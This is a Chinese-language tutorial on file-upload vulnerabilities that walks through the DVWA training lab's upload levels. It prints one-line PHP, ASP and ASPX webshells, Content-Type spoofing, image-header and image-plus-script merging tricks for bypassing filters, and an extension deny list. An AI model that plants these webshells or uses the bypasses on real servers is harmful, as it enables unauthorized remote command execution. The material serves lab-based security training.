文件上传是web应用必备功能之一,如:头像上传,附件分享登,如果服务器配置不当或者 没有进行足够的过滤,Web用户就可以上传任意文件,包括恶意脚本文件,exe 程序等等,这就造成了任意文件上传漏洞
服务器配置不当,开启了PUT 方法
Web 应用开放了文件上传功能,没有对上传的文件做足够的限制和过滤
在程序开发部署时,没有考虑以下因素,导致限制被绕过:
上传恶意代码(文件,程序),并执行恶意代码(文件,程序):
通过文件上传漏洞获得的网站后门,叫WebShell
也叫命令解释器
Windows | Linux |
---|---|
powershell | bash |
cmd | sh |
… | zsh |
… |
WebShell 是一个网站的后门,也是一个命令解释器。通过Web 方式,使用HTTP| HTTPS 协议传递命令消息到服务器,并且继承了Web 用户的权限,在服务器上远程执行命令。WebShell 从本质上讲,就是服务器端可运行的脚本文件,后缀名通常为:
WebShell 接收来自于Web 用户的命令,然后在服务器端执行,也称为网站木马、木马后门、网马登
Web容器 | 脚本语言 |
---|---|
Apache HTTPD | php |
IIS | asp、aspx、php |
Tomcat | jsp、jspx |
代码量比较大,相对于一句话木马
一句话木马,需要与中国蚁剑配合。
特点:短小精悍,功能强大。
蚁剑三大基本功能:文件管理、虚拟终端、数据库管理
php脚本格式:
@eval($_REQUEST[777])?>
//代码执行函数+传参点
asp脚本格式:
<%eval request("777")%>
aspx脚本格式:
<%@ Page Language="Jscript"%>
<%eval(Request.Item["777"],"unsafe");%>
GetShell 是获取WebShell 的过程或结果。文件上传漏洞的利用是GetShell 的主要方式,但不是唯一手段。
以DVWA靶场为例
下载地址
配置教程 可以到网上搜
DVWA/File Upload/Low级别
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo 'Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!
";
}
}
?>
核心函数 move_uploaded_file 将上传的文件移动到$target_path里
直接上传一句话木马1.php
@eval($_REQUEST[6868])?>
上传的路径:http://192.168.80.139/DVWA-2.0.1/hackable/uploads/1.php
使用WebShell管理工具连接
进入目录管理
黑白名单是最常用,也是最重要的安全策略之一。黑白名单策略类似于一个列表,列表中写了一些条件或者规则,黑名单就是非法条件,白名单就是合法条件,类似于手机的黑白名单。也是最常用的防御策略之一
$deny_ext = array(
".php",".php5",".php4",".php3",".php2","php1",".phtml",".pht",
".html",".htm",
".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jhtml",
".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",
".cer",".swf",
".htaccess"
);
$allow_ext = array(
'jpg','jpeg','png','bmp','gif','svg',
'zip','tar.gz',
'doc','docx','pdf','xls','ppt'
);
DVWA/File Upload/Medium级别
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo 'Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!
";
}
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
}
}
?>
上传的文件类型必须是image/jpeg,或者image/png
继续上传1.php,发现对上传的文件后缀做了限制
使用bp抓取数据包
修改文件后缀为2.png
,上传失败,说明关键点不在图片的后缀名
修改文件类型Content-Type:image/png
,上传成功
DVWA/File Upload/High级别
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo 'Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!
";
}
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
}
}
?>
继续上传一句话木马1.php
,上传失败,使用bp
抓取数据包
发现对文件后缀,文件类型,文件内容
都做了限制
在文件内容处加上图片的头部标识GIF8a
只要是JPG文件,那么该文件的十六进制头部就是FF D8 FF E0
…
图片头部验证
hexdump 1.jpg
copy imgName/b+yjh/a newImgName
copy 1.png/b+1.php/a 2.png
说明:
准备一张小一点的图片1.jpg
,还有一句话木马1.php
@eval($_REQUEST[6868])?>
使用cmd命令将图片和代码合成一个文件
copy 1.jpg/b+1.php/a 2.jpg
上传2.jpg
上传成功 ,如果想要访问的话需要和其他漏洞一起使用
DVWA File Upload相关博客
Pikachu靶场 Unsafe upfileupload ||||||||||||||||getimagesize这关提供了两个方式,方式一:制作图片头部表示,方式二:使用cmd命令制作 图片木马
DVWA/File Upload/Impossible级别
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "${target_file} succesfully uploaded!
";
}
else {
// No
echo 'Your image was not uploaded.
';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
文件上传漏洞完美利用,受到以下条件限制:
00 截断
漏洞;现在的服务器已经把PUT方法关闭掉了,
但是也需要知道有这么个东西
避开空格
、点 .
、 ::$DATA
等系统特性
linux系统下是允许文件名末尾存在 空格的
c0ny1/upload-labs-github地址
下载地址